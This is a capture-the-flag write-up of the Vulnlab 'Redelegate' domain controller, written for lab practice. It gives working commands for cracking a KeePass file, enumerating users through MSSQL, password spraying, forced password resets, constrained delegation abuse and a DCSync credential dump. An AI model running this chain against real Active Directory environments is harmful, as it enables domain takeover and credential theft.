vulnlab-redelegate

 

vulnlab-redelegate

vulnlab redelegate

Redelegate is a hard-rated Windows machine by Geiseric on Vulnlab. The core concepts here are password spraying, enumerating domain users via MSSQL and diving deeper into kerberos delegation.

Enumeration

Portscan:

...
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain?
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-23 11:19:37Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

We are dealing with a domain controller, unusual services are FTP (21) and MSSQL (1433). Let’s check FTP first:

└─$ ftp redelegate.vl 
Connected to dc.redelegate.vl.
220 Microsoft FTP Service
Name (redelegate.vl:puck): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||55855|)
125 Data connection already open; Transfer starting.
10-20-24 12:11AM 434 CyberAudit.txt
10-20-24 04:14AM 2622 Shared.kdbx
10-20-24 12:26AM 580 TrainingAgenda.txt
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *

Note that binary mode was used to download the files. The file CyberAudit.txt contains

└─$ cat CyberAudit.txt
OCTOBER 2024 AUDIT FINDINGS
[!] CyberSecurity Audit findings:
1) Weak User Passwords
2) Excessive Privilege assigned to users
3) Unused Active Directory objects
4) Dangerous Active Directory ACLs
[*] Remediation steps:
1) Prompt users to change their passwords: DONE
2) Check privileges for all users and remove high privileges: DONE
3) Remove unused objects in the domain: IN PROGRESS
4) Recheck ACLs: IN PROGRESS

 

The file TrainingAgenda.txt shows

└─$ cat TrainingAgenda.txt
EMPLOYEE CYBER AWARENESS TRAINING AGENDA (OCTOBER 2024)
Friday 4th October | 14.3016.3053 attendees
“Don’t take the bait” – How to better understand phishing emails and what to do when you see one
Friday 11th October | 15.3017.3061 attendees
“Social Media and their dangers” – What happens to what you post online?
Friday 18th October | 11.3013.307 attendees
“Weak Passwords” – Why “SeasonYear!” is not a good password
Friday 25th October | 9.3012.3029 attendees
“What now?” – Consequences of a cyber attack and how to mitigate them

we could try,  generate a simple word list with something like “SeasonYear!”.

Spring2024!
Summer2024!
F***2024!
Autumn2024!
Winter2024!

Since we don’t have any domain users yet, we can only try them against the KeePass file Shared.kdbx, which was also on the share:

└─$ keepass2john Shared.kdbx | tee hashes
Shared:$keepass$*2*600000*0*ce7395f413946b0cd279501e510cf8a988f39baca623dd86beaee651025662e6*e4f9d51a5df3e5f9ca1019cd57e10d60f85f48228da3f3b4cf1ffee940e20e01*18c45dbbf7d365a13d6714059937ebad*a59af7b75908d7bdf68b6fd929d315ae6bfe77262e53c209869a236da830495f*806f9dd2081c364e66a114ce3adeba60b282fc5e5ee6f324114d38de9b4502ca

.

└─$ john hashes -w=passwords.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 600000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates left, minimum 8 needed for performance.
****2024! (Shared)

We found the password and can now open the KeePass file, for example with keepassxc. One of the credentials inside is for MSSQL which we saw running on the machine, so we try to connect:

we find a working
SQLGuest
zD<redacted>ii
└─$ impacket-mssqlclient ‘sqlguest:’zD<redacted>ii‘@redelegate.vl’
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to ‘master’.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 – Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (SQLGuest guest@master)>

.

This works but we just have guest access. One thing we could try is to use xp_dirtree to get the hash of the service account running the service, but in this case it won’t help. Instead we are going to enumerate domain users from here (even though the sqlguest account is not a domain user).

First, we get the domain name:

SQL (SQLGuest guest@master)> SELECT DEFAULT_DOMAIN();
———-
REDELEGATE
SQL (SQLGuest guest@master)>

Next we get the Domain SID by querying one of the default groups for it (the first 48 bytes will be the domain SID):

SQL (SQLGuest guest@master)> SELECT SUSER_SID(‘REDELEGATE\Domain Admins’)
———————————————————–
b‘010500000000000515000000a185deefb22433798d8e847a00020000’

We can convert this to a readable string with PowerShell:

$BinarySID = “010500000000000515000000a185deefb22433798d8e847a00020000”
$SIDBytes = [byte[]]::new($BinarySID.Length / 2)
for ($i = 0; $i -lt $BinarySID.Length; $i += 2) {
$SIDBytes[$i / 2] = [convert]::ToByte($BinarySID.Substring($i, 2), 16)
}
$SID = New-Object System.Security.Principal.SecurityIdentifier($SIDBytes, 0)
$SID.Value
S-1521402433782520333948662055507597512

We can now enumerate users by appending something different on the part that identifies the user (here 512). For example with a quick bash loop:

└─$ cat enum.sh
#!/bin/bash
USERNAME=“sqlguest”
PASSWORD=“zD<redacted>ii”
SERVER=“redelegate.vl”
SID_BASE=“S-1-5-21-4024337825-2033394866-2055507597”
for SID in {1100..1200}; do
QUERY=“SELECT SUSER_SNAME(SID_BINARY(N’$SID_BASE-$SID’))”
echo “$QUERY” > query.sql
impacket-mssqlclient “$USERNAME:$PASSWORD@$SERVER” -file query.sql | grep -a REDELEGATE
rm query.sql
done

 

Running it gives the domain users we want:

└─$ bash enum.sh
REDELEGATE\FS01$
REDELEGATE\Christine.Flanders
REDELEGATE\Marie.Curie
REDELEGATE\Helen.Frost
REDELEGATE\Michael.Pontiac
REDELEGATE\Mallory.Roberts
REDELEGATE\James.Dinkleberg
REDELEGATE\Helpdesk
REDELEGATE\IT
REDELEGATE\Finance
REDELEGATE\DnsAdmins
REDELEGATE\DnsUpdateProxy
REDELEGATE\Ryan.Cooper
REDELEGATE\sql_svc

Getting a Foothold

Now that we have a list of users, we can spray the password scheme that we learned about earlier against those users:

└─$ nxc smb redelegate.vl -u users.txt -p passwords.txt
SMB 10.10.87.216 445 DC [] REDELEGATE\Mallory.Roberts:Summer2024! STATUS_ACCOUNT_RESTRICTION
SMB 10.10.87.216 445 DC [] REDELEGATE\Christine.Flanders:Fall2024! STATUS_LOGON_FAILURE
SMB 10.10.87.216 445 DC [+] REDELEGATE\Marie.Curie:Fall2024!

 

This leads to our first domain user credentials. At this point we can do a lot more enumeration like for example checking shares authenticated and gathering bloodhound data. First we gather bloodhound data:

$ nxc ldap redelegate.vl -u marie.curie -p ‘****2024!’ –bloodhound -c all –dns-server 10.10.87.216
SMB 10.10.87.216 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:redelegate.vl) (signing:True) (SMBv1:False)
LDAP 10.10.87.216 389 DC [+] redelegate.vl\marie.curie:Fall2024!
LDAP 10.10.87.216 389 DC Resolved collection methods: container, psremote, session, objectprops, acl, group, localadmin, dcom, rdp, trusts
LDAP 10.10.87.216 389 DC Done in 00M 06S
LDAP 10.10.87.216 389 DC Compressing output into /home/puck/.nxc/logs/DC_10.10.87.216_202411-27_105621_bloodhound.zip
┌──(puck㉿kali)[~/vulnlab/redelegate]
└─$ cp /home/puck/.nxc/logs/DC_10.10.87.216_202411-27_105621_bloodhound.zip .

 

After loading it into bloodhound, we notice that there is a path to high value targets from our user:

 

To change the password of that user, we can use the following command:

└─$ impacket-changepasswd redelegate/helen.frost@redelegate.vl -newpass ‘Start123!’ -altuser redelegate/marie.curie -reset -altpass ‘****2024!’ -debug
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Setting the password of redelegate\helen.frost as redelegate\marie.curie
[*] Connecting to DCE/RPC as redelegate\marie.curie
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

 

This gives us a shell on the domain controller and our first flag.

└─$ evil-winrm -i redelegate.vl -u “helen.frost” -p ‘Start123!’

 

Privilege Escalation

First we check our privileges and notice that this user has the SeEnableDelegationPrivilege, which means that the user can enable delegation privileges on the domain.

*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> whoami /priv
PRIVILEGES INFORMATION
———————-
Privilege Name Description State
============================= ============================================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Helen.Frost\desktop>

 

This is a dangerous privilege that allows to escalate privileges in multiple ways. Let’s take this opportunity to remember the 3 types of delegation:

Unconstrained Delegation: A machine configured with Unconstrained Delegation will store any TGT of users connecting to it in memory. This allows the machine to then impersonate that user. To configure this, the userAccountControl attribute of the machine gets modified to include the TRUSTED_FOR_DELEGATION flag (which requires the SeEnableDelegationPrivilege domain privilege).

Constrained Delegation: A machine configured with Constrained Delegation will be able to impersonate any user against another machine. To configure this, the userAccountControl attribute of the object gets modified to include the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag (which requires the SeEnableDelegationPrivilege privilege) and the msDS-AllowedToDelegateTo attribute gets set to the target spn that we want to authenticate as any user against.

Resource-Based Constrained Delegation: A machine configured with Resource-Based Constrained Delegation will trust another user to impersonate any user on itself. To configure this the AllowedToActOnBehalfOfOtherIdentity property must be set to the SID of the object that is allowed to control it. This does not require SeEnableDelegationPrivilege and the machine can modify it on itself.

So in other words, RBCD is a privilege given by a machine account on itself and does not require any special privileges, while both Unconstrained- and Constrained Delegation do require the SeEnableDelegationPrivilege because those affect other resources in the domain.

With this information, we can rule out RBCD and focus on the other delegations. As seen on the predecessor machine “Delegate”, we could add a machine account, configure it with unconstrained delegation and then coerce the domain controller to authenticate to that machine. This would require the ability to add machine accounts and also to add DNS entries (for the coercion – kerberos works with names instead of ip addresses). Both is not possible in this case, since the environment has been hardened.

This leaves us with only Constrained Delegation which does not require a new DNS entry. It does however also require control of a machine account. Luckily in this case, the user helen.frost has GenericAll privileges on a computer object called FS01$. This allows us to reset the password of that computer object (alternatively Shadow Credentials could be used, if there would be a configured CA):

└─$ impacket-changepasswd redelegate/‘fs01$’@redelegate.vl -newpass ‘Start123!’ -altuser redelegate/helen.frost -reset -altpass ‘Start123!’ -debug
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] Setting the password of redelegate\fs01$ as redelegate\helen.frost
[*] Connecting to DCE/RPC as redelegate\helen.frost
[+] Successfully bound to SAMR
[+] Sending SAMR call hSamrSetNTInternal1
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Additionally, we need to use our SeEnableDelegationPrivilege to make the necessary changes:

*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> Set-ADObject -Identity “CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL” -Add @{“msDS-AllowedToDelegateTo”=“ldap/dc.redelegate.vl”}
*Evil-WinRM* PS C:\Users\Helen.Frost\desktop> Set-ADAccountControl -Identity “FS01$” -TrustedToAuthForDelegation $True

As described earlier we set msDS-AllowedToDelegateTo to the resource we want to control (ldap on the domain controller in order to perform a dcsync) and the TrustedToAuthForDelegation flag.

Now we can use the credentials of the fs01 machine account to request a service ticket as any user (here the dc itself) to the dc:

└─$ impacket-getST redelegate.vl/fs01\$:‘Start123!’ -spn ldap/dc.redelegate.vl -impersonate dc
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[] CCache file is not found. Skipping…
[*] Getting TGT for user
[*] Impersonating dc
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache

Since this is a ticket for ldap, it allows us to perform dcsync:

└─$ export KRB5CCNAME=‘dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache’
┌──(puck㉿kali)[~/vulnlab/redelegate]
└─$ klist
Ticket cache: FILE:dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache
Default principal: dc@redelegate.vl
Valid starting Expires Service principal
11/27/2024 11:23:35 11/27/2024 21:23:35 ldap/dc.redelegate.vl@REDELEGATE.VL
renew until 11/28/2024 11:23:36

.

─$ impacket-secretsdump -k -no-pass dc.redelegate.vl -dc-ip 10.10.87.216
Impacket v0.12.0.dev1 – Copyright 2023 Fortra
[] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a0<redacted>99:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

With the admin hash we can now connect to the DC and read the final flag. If you want to try out the machine, join Vulnlab 🙂

Resources